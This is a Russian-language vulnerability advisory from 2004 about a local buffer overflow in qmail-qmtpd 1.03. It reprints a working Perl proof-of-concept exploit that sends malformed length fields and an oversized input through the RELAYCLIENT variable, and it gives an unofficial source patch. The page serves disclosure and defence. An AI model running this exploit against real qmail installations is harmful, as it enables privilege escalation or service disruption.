Дата публикации: | 05.03.2004 |
Всего просмотров: | 1702 |
Опасность: | Низкая |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: Qmail-qmtpd 1.03
Описание: Переполнение буфера обнаружено в qmail-qmtpd. Локальный пользователь может получить поднятые привилегии. Локальный пользователь может установить RELAYCLIENT переменную окружения к специально сформированному значению, чтобы вызвать переполнение буфера. Пример/Эксплоит: -qma-qmtpd.pl---- #!/usr/bin/perl -w #Copyright Georgi Guninski\nCannot be used in vulnerability databases and #similar stuff use IO::Socket; use IO::Poll; $ENV{"RELAYCLIENT"}="M\$UX"; open(SOCK,"|/var/qmail/bin/qmail-qmtpd"); my $req; my $fromaddr="they\@m\$.weenies"; my $touser="postmaster"; print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\nCannot be used in vulnerability d atabases and similar stuff\n"; $req = "1:\n,"; $req .= "1:V,"; $req .= "/:"; #biglen - this is how we code '-1' $req .= ",:"; #len - this is how we code '-4' print SOCK $req; my $ch=getc(); $req = "v" x 100000; print SOCK $req; close SOCK; URL производителя: http://www.qmail.org/ Решение:неофициальное исправление: -patch----- --- ../qmail-1.03/qmail-qmtpd.c 1998-06-15 13:53:16.000000000 +0300 +++ qmail-qmtpd.c 2004-02-29 16:15:13.000000000 +0200 @@ -45,8 +45,8 @@ for (;;) { substdio_get(&ssin,&ch,1); if (ch == ':') return len; - if (len > 200000000) resources(); len = 10 * len + (ch - '0'); + if (len > 200000000 || ch < '0' || ch > '9') resources(); } } @@ -193,8 +193,8 @@ substdio_get(&ssin,&ch,1); --biglen; if (ch == ':') break; - if (len > 200000000) resources(); len = 10 * len + (ch - '0'); + if (len > 200000000 || ch < '0' || ch > '9') resources(); } if (len >= biglen) badproto(); if (len + relayclientlen >= 1000) { ----------- |
|
Ссылки: | Buffer overflow in qmail-qmtpd, yet still qmail much better than windows |